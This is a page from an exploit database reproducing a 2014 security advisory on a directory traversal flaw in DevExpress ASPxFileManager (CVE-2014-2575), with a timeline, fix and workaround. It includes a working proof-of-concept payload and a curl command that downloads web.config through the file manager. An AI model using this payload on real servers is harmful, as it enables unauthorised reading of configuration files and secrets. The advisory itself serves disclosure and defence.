0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
DevExpress ASPxFileManager 10.2 to 13.2.8 - Directory Traversal
Author
Risk
[
Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
Directory Traversal in DevExpress ASP.NET File Manager During a penetration test RedTeam Pentesting discovered a directory traversal vulnerability in DevExpress' ASP.NET File Manager and File Upload. Attackers are able to read arbitrary files by specifying a relative path. Details ======= Product: DevExpress ASPxFileManager Control for WebForms and MVC Affected Versions: DevExpress ASPxFileManager v10.2 to v13.2.8 Fixed Versions: DevExpress ASPxFileManager v13.2.9 Vulnerability Type: Directory Traversal Security Risk: high Vendor URL: https://www.devexpress.com/Products/NET/Controls/ASP/File-Upload-Explorer/ Vendor Status: fixed version released Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-006 Advisory Status: published CVE: CVE-2014-2575 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2575 Introduction ============ "The DevExpress ASP.NET Subscription includes a standalone Multi-File Upload Manager for WebForms and MVC and a pre-built File Manager for WebForms; built so you can instantly introduce file management capabilities in your next web application." (from DevExpress' Homepage) More Details ============ The ASPX File Manager component is prone to a directory traversal vulnerability. Attackers with access to the File Manager component can read arbitrary files on the same partition as the shared directory. A common request to download a file via the File Manager component requires multiple HTTP-Post parameters: __EVENTTARGET=ctl00%24ContentPlaceHolder1%24ASPxFileManager1 __EVENTARGUMENT=13%7C<file.ext> __EVENTVALID= The parameter __EVENTARGUMENT=13|<file.ext> specifies a file download and the file which is to be downloaded. Attackers may also request files outside of the shared directory by prepending a relative path to a parent directory. Proof of Concept ================ By requesting files with a relative path, files otherwise not available will be accessible through the File Manager component. Depending on the shared directory and the webserver configuration, the webserver configuration file might for example be accessible through the File Manager component: __EVENTARGUMENT=13|../../web.config Other sensitive operating system files could be affected, too. Example exploit: ------------------------------------------------------------------------ curl --data __EVENTTARGET=ctl00%24ContentPlaceHolder1%24ASPxFileManager1\ "&__EVENTARGUMENT=13%7C../../web.config&=&__EVENTVALID" \ http://example.com/FileManagerComponent.aspx ------------------------------------------------------------------------ The request above will download the specified file. Workaround ========== Instead of a physical file system provider, a database file system provider with limited access permissions could be used. Fix === Update ASPxFileManager control to DevExpress libraries version v13.2.9. Security Risk ============= The risk is estimated to be high. This vulnerability allows attackers to access arbitrary files on the same partition as the File Manager's root directory. This may allow attackers to read sensitive information like the webserver configuration. Timeline ======== 2014-03-10 Vulnerability identified 2014-03-21 Customer approved disclosure to vendor 2014-03-21 CVE number requested and assigned 2014-03-25 Vendor notified 2014-04-11 Customer opened support ticket with vendor 2014-04-17 Vendor released fixed version 2014-04-17 Vendor released security advisory to customers 2014-06-05 Advisory released References ========== Vendor Security Advisory: http://security.devexpress.com/de7c4756/?id=ff8c1703126f4717993ac3608a65a2e2 # 0day.today [2024-07-05] #